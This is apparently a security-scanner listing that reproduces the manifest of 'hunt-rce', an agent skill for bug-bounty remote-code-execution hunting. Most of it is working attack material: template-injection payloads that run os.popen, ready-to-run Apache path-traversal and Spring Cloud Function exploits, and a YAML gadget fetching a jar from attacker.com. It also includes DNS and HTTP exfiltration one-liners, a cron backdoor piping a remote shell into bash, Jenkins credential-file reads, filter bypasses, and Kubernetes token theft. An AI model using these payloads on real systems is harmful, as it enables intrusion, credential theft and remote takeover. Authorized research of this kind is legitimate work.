hunt-rce — independently scanned and version-tracked by SaferSkills.
SaferSkills independently audited hunt-rce (Agent Skill) and scored it 100/100 (green). The audit ran 55 deterministic rules across Security, Supply Chain, Maintenance, Transparency, and Community; it found 0 high-severity and 0 lower-severity findings. The full rule-by-rule trace and per-finding evidence are below. Free, methodology-open.
Findings & checks · 0 flagged
Every scanned point with the score it earned and what moved between them.
First recorded scan — no prior version to compare against.
The primary manifest — the file an agent reads to learn what this artifact does.
RCE vulnerabilities command the highest payouts in bug bounty programs because they grant attackers direct execution control over target infrastructure. The highest-value targets are:
Highest-paying asset types:
Why this class pays most:
/management-console/*
/admin/settings/*
/api/v*/exec
/api/v*/run
/webhook/*
/_internal/*
/import?url=
/render?template=
/preview?format=X-Powered-By: Express # Node.js — npm dependency surface
X-Powered-By: Phusion Passenger
Server: nginx (ingress-nginx) # Kubernetes ingress — path field injection
X-Runtime: Ruby # Rails ActiveStorage, RDoc, REXML attack surface
Content-Type: application/yaml # YAML parsers (SnakeYAML, Psych) — deserialization
X-GitHub-Enterprise-Version # GHAS — nomad template, collectd, syslog-ng injection// Look for these patterns in JS bundles
fetch('/api/exec', {method:'POST', body: cmd})
eval(userInput)
new Function(userInput)
document.write(unsafeData)
window.location = userControlled // URL scheme bypass → JS execution| Signal | RCE Vector |
|---|---|
nomad in config UI | Template injection → {{ ... }} |
syslog-ng config editable | Config injection → program() destination |
collectd config editable | Plugin exec injection |
SnakeYAML in classpath | !!javax.script.ScriptEngineManager [...] |
npm package.json internal scope | Dependency confusion |
| ingress-nginx annotations | Path field regex bypass |
/management-console, /admin, /_internal, /setup, /config. These surfaces are lower-auth and higher-privilege — the GHES cluster produced 6 separate RCEs from one console role.{{7*7}}, ${7*7}, <%= 7*7 %>. Look for 49 in responses, logs, or DNS callbacks.Content-Type: application/yaml or application/xml:!!javax.script.ScriptEngineManager gadget!ruby/object:Gem::Installer gadgetpackage.json in public repos — register a higher-versioned package on the public registry pointing to a canary callback.../../../etc/cron.d/shell as filename. Confirm write then trigger execution.kubectl against any exposed API server. Check ingress annotations, especially nginx.ingress.kubernetes.io/configuration-snippet and spec.rules.http.paths.path for Lua/regex injection.javascript: or intent:// URIs via OAuth redirect may execute JavaScript. Try javascript:alert(document.cookie) and custom scheme URIs.canarytokens.org DNS tokens. Blind RCE is common in backend processors.# Generic polyglot — works across Jinja2, Twig, Freemarker, Pebble, Velocity
{{7*7}}${7*7}#{7*7}<%= 7*7 %>*{7*7}
{{'7'*7}}
{{config}}
{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}
# Nomad template injection (Go text/template)
{{ env "NOMAD_SECRET_ID" }}
{{ with secret "secret/data/prod" }}{{ .Data.password }}{{ end }}
{{ runscript "id" }}Path normalization bug in Apache 2.4.49 (and the 2.4.50 patch-bypass) lets an attacker escape DocumentRoot via dot-encoded segments through configured alias paths. The same primitive yields very different impact depending on which alias accepts the traversal:
Options +ExecCGI (e.g. /icons/) → arbitrary file read onlyOptions +ExecCGI (e.g. /cgi-bin/) → arbitrary code executionVersion fingerprint:
curl -sI http://target/ | grep -i "Server:"
# Vulnerable: Apache/2.4.49 (CVE-2021-41773) or Apache/2.4.50 (CVE-2021-42013)
# Patched: Apache/2.4.51+File-read test (any alias):
curl --path-as-is "http://target/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
# Note: --path-as-is is REQUIRED — curl normalizes %2e by defaultRCE test (cgi-enabled alias only):
curl --path-as-is -X POST \
-d "echo Content-Type: text/plain; echo; id; uname -a; hostname" \
"http://target/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"Triage discipline note: when the same path-traversal primitive works on multiple aliases but only one is CGI-enabled, the maximum impact is the severity — not the average. A "file read" finding on /icons/ should always be escalated by re-probing /cgi-bin/ (and any other alias visible from <Directory> blocks in the server-info disclosure or response patterns). See triage-validation Pre-Severity Gate.
Spring Cloud Function ≤ 3.2.2 (and ≤ 3.1.6) evaluates the spring.cloud.function.routing-expression header as a SpEL expression on the /functionRouter endpoint without auth, before any routing logic. Wide deployment in AWS Lambda + Cloud Run + on-prem function platforms. Often exposed externally because /functionRouter auto-registers and devs don't add an explicit gate.
Detection:
/uppercase, /lowercase, or arbitrary single-word function endpoints responding 200curl -s http://target:8080/uppercase -H "Content-Type: text/plain" --data-binary "test" → returns TEST/actuator/info or response headersExploit:
curl -X POST http://target:8080/functionRouter \
-H "Content-Type: text/plain" \
-H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"id"})' \
--data "x"The new String[]{"...", "..."} array form avoids shell-quoting issues that break the more common .exec("id") form when the SpEL header contains parentheses or quotes.
Generalizes to: any Spring application that takes user input into a SpelExpressionParser.parseExpression() call, especially when delivered via header / query-param routes that bypass normal auth filters. See hunt-ssti for the broader SpEL fingerprinting (*{7*7} = Spring Thymeleaf).
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker.com/exploit.jar"]
]]
]--- !ruby/object:Gem::Installer
i: x# Find internal package names
grep -r '"name"' node_modules/ | grep '@internal\|@company\|@private'
# Check if public registry has higher version
npm view @target-company/internal-package version 2>/dev/null# In spec.rules.http.paths.path
/something)(;.*);#
# Results in nginx config injectioncurl -sk https://TARGET:6443/api/v1/namespaces/default/pods \
-H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
kubectl --insecure-skip-tls-verify -s https://TARGET:6443 get pods --all-namespaces# Payload to confirm blind RCE via DNS
curl "http://$(id | base64).YOUR-INTERACTSH-URL/"
nslookup $(whoami).attacker.com
wget http://attacker.com/$(cat /etc/hostname)# Filename in upload request
filename="../../../../etc/cron.d/backdoor"
# Cron payload content
* * * * * root curl http://attacker.com/shell | bash@-prefix file expansion (Jenkins CVE-2024-23897 family)Java CLIs built on the args4j library default to expandAtFiles=true, which expands @filename arguments by reading the file and treating each line as a separate command argument. When such a CLI is exposed over HTTP (Jenkins CLI is the canonical case), the server-side error message echoes failed arguments back — turning argument echoing into an arbitrary file-read primitive. Unauthenticated when "anonymous read access" is on (Jenkins default for fresh installs).
Detection:
/cli and /jnlpJars/jenkins-cli.jar (Jenkins family)expandAtFiles=falseTest (Jenkins):
# Get the legit CLI jar from the target
curl -sLO http://target:8080/jnlpJars/jenkins-cli.jar
# First line of file leaks via 'help' error
java -jar jenkins-cli.jar -s http://target:8080/ -http help 1 @/etc/passwd
# → ERROR: Too many arguments: root:x:0:0:root:/root:/bin/bash
# Full file leaks via 'connect-node' (every line returned as a "no such agent" error)
java -jar jenkins-cli.jar -s http://target:8080/ -http connect-node @/etc/passwd
# → All passwd lines echoed back
# Recon: env vars + JENKINS_HOME path
java -jar jenkins-cli.jar -s http://target:8080/ -http help 1 @/proc/self/environCrown-jewel files after JENKINS_HOME confirmed:
/var/jenkins_home/secret.key — master encryption key for stored credentials/var/jenkins_home/secrets/master.key — derives the encryption key/var/jenkins_home/credentials.xml — credential store (encrypted with secret.key — pair with offline decrypt tools)/var/jenkins_home/users/*/config.xml — per-user API tokens (often unencrypted)/var/jenkins_home/jobs/*/config.xml — pipeline configs that may inline AWS keys, SSH keys, registry tokensPattern generalizes beyond Jenkins. Any Java service that:
→ same arbitrary-read primitive applies. Validation via triage-validation Reproducibility Gate: confirm the leak on at least 2 distinct commands (e.g., help and connect-node) and verify the file content actually appears in the response, not just a generic 500.
# Command injection sinks
grep -rn "exec\|system\|popen\|spawn\|eval\|subprocess" --include="*.rb" .
grep -rn "Runtime.exec\|ProcessBuilder\|ScriptEngine" --include="*.java" .
# Template engine instantiation
grep -rn "Mustache\|Handlebars\|nunjucks\|render_template\|Template\(" .
# Unsafe YAML load
grep -rn "yaml\.load\b\|YAML\.load\b" . # without Loader= argument
grep -rn "Yaml()\|new Yaml()" --include="*.java" .1. Configuration-as-code with insufficient sanitization Administrators edit configuration files (syslog-ng, collectd, nomad) through web UIs. Developers assume admin == trusted, so they pass field values directly into config files that support execution primitives (program() destinations, exec plugins, template functions).
2. Template engines in privileged contexts Go's text/template, Freemarker, Velocity, and Twig are used for system configuration rendering. When user-controlled strings reach these engines without sandboxing, arbitrary code follows.
3. Dependency confusion / namespace squatting Internal packages published to private registries without locking the public registry namespace. Build systems that prefer public registries by default, or that fall through to public when the private registry lacks a package.
4. Unsafe deserialization of YAML/XML Developers use YAML.load() without safe loaders, or new Yaml() (SnakeYAML) without type restrictions. Ruby's YAML.load and Java's SnakeYAML both support arbitrary object instantiation by default.
5. Path traversal in file operation chains Filenames accepted from user input are used in filesystem operations without normalization. Rails ActiveStorage, file upload handlers, and rdoc generators trust the filename parameter.
6. Assuming low-privilege roles can't reach execution contexts The GHES management console granted "Editor" roles access to configuration fields that touched shell execution. Developers assumed privilege boundaries existed at a higher architectural level.
7. Missing input validation on infrastructure-facing fields Ingress/nginx annotation values, Kubernetes spec fields, and webhook URLs are treated as opaque strings — but the downstream processor (nginx config generator, regex engine) interprets them as code.
# Blocked: ; | & ` $()
# Bypass using $IFS and encodings
cat${IFS}/etc/passwd
{cat,/etc/passwd}
$'\x63\x61\x74' /etc/passwd # hex encoding
$(printf '\x63\x61\x74') /etc/passwd
# Newline injection when semicolons blocked
payload=$'\ncurl attacker.com\n'# Mobile apps often block javascript: but miss:
jAvAsCrIpT:alert(1) # case variation
javascript:alert(1) # HTML entity
javascript:void(alert(1)) # void wrapper
intent://attacker.com#Intent;scheme=javascript;...
data:text/html,<script>alert(1)</script># If !!java.* is blocked, try legitimate classes with side effects
!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: 'ldap://attacker.com/a'
autoCommit: true
# Or find allowlisted types with dangerous constructors# If @company/* is monitored, look for unscoped internal names
# e.g., "internal-utils" instead of "@company/internal-utils"
# Public registries serve unscoped packages first# Basic filter bypass
../ → ..%2F → %2e%2e%2f → ....//
# Double encoding
%252e%252e%252f
# Unicode normalization
..%c0%af (overlong UTF-8)
# Null byte (older systems)
../../etc/passwd%00.jpg# If {{ }} is sanitized on output but not evaluation:
{% for x in range(1) %}{{ lipsum.__globals__.os.popen('id').read() }}{% endfor %}
# Blind — use DNS callback instead of output
{{ lipsum.__globals__.os.popen('nslookup $(id).attacker.com').read() }}exec, system, popen# Ruby
send(:system, "id")
method(:exec).call("id")
Kernel.send(:`, "id")
Object.const_get(:Kernel).system("id")Before writing the report, confirm all three:
1. What can the attacker DO right now? You must be able to demonstrate one of: execute id/whoami and capture the output, make a DNS/HTTP callback from the target server to your controlled host, write a file to the filesystem, or read /etc/passwd. "Might be able to" fails this gate.
2. What does the victim LOSE? Articulate the concrete impact: source code exfiltration, credential theft (database, API keys, cloud IAM), lateral movement to internal network, supply chain compromise of downstream users, data destruction. Generic "attacker gains RCE" fails — name the crown jewels at risk.
3. Can it be reproduced in 10 minutes from scratch? Write the reproduction steps before submitting. If you need more than: (a) a Burp request, (b) a payload file, and (c) a listener — simplify it. If reproduction requires a specific race condition, timing, or ephemeral state, document the exact conditions. Triagers who can't reproduce in one attempt will downgrade or close the report.
Scenario A: Management Console Role → Root Shell (Enterprise Server) An attacker with a low-privileged "Management Console Editor" account on a GitHub Enterprise Server instance identified that the syslog-ng configuration UI accepted a free-form "destination" field. By injecting a program() destination containing a reverse shell command, the attacker caused the syslog-ng daemon (running as root) to execute arbitrary OS commands upon log receipt. The same attack surface was independently found in collectd's exec plugin configuration and nomad's job template rendering — all reachable from the same editor role. Impact: full root compromise of the enterprise git server hosting all organization source code, secrets, and CI/CD pipelines.
Scenario B: Dependency Confusion → RCE on Build Infrastructure A researcher enumerated internal npm package names by reviewing JavaScript bundles served from target CDN endpoints and public GitHub repositories belonging to a major payments platform. Several @internal/* scoped packages were referenced but not registered on the public npm registry. The researcher published higher-versioned packages with identical names containing a postinstall script that executed a canary callback. Within hours, the callback fired from multiple IP addresses belonging to the target's CI/CD build farm — confirming that every npm install on their build infrastructure executed attacker-controlled code. The same technique worked against a ride-sharing platform's internal tooling. Impact: arbitrary code execution on build servers with access to production deployment credentials and signing keys.
Scenario C: Exposed Kubernetes API → Cluster Takeover During reconnaissance on a target's cloud infrastructure, a researcher discovered a publicly accessible Kubernetes API server (port 6443) with overly permissive RBAC. Using default service account tokens and unauthenticated API calls, the researcher enumerated running pods, retrieved secrets from the default namespace (including database credentials and third-party API keys), and demonstrated the ability to spawn privileged pods with hostPID: true — enabling full node compromise. The Kubernetes cluster managed the target's core production services. Impact: access to all stored secrets, ability to deploy malicious workloads, and pivot to every service in the cluster.
eval()/exec()/os.system() are RCE hiding behind a render call. Chain primitive: Jinja2 {{config.__class__.__init__.__globals__['os'].popen('id').read()}} reflected in email-template preview → unauthenticated RCE as the worker process..htaccess/web.config. Chain primitive: SVG/PHP polyglot bypasses MIME check → direct GET /uploads/shell.php?cmd=id → RCE; or DOCX with phar:// stream wrapper → PHP object deserialization → RCE.http://127.0.0.1:8080/manage/scriptText (Jenkins/Tomcat) → Groovy Runtime.exec → RCE; or SSRF → gopher://redis:6379 write to crontab → RCE.__VIEWSTATE parameter. Chain primitive: machineKey recovery (or leaked <machineKey> from web.config disclosure) → ysoserial.net -p ViewState -g TypeConfuseDelegate → RCE as IIS APPPOOL\<name>.__reduce__, Ruby Marshal, PHP phar:// metadata, Node node-serialize IIFE) the moment you have a sink that accepts serialized bytes.os is at best Medium SSTI. Prove whoami/OOB DNS callback with a unique marker before writing the report.~30 seconds. Free. No account. Every finding cites a rule and a line of evidence.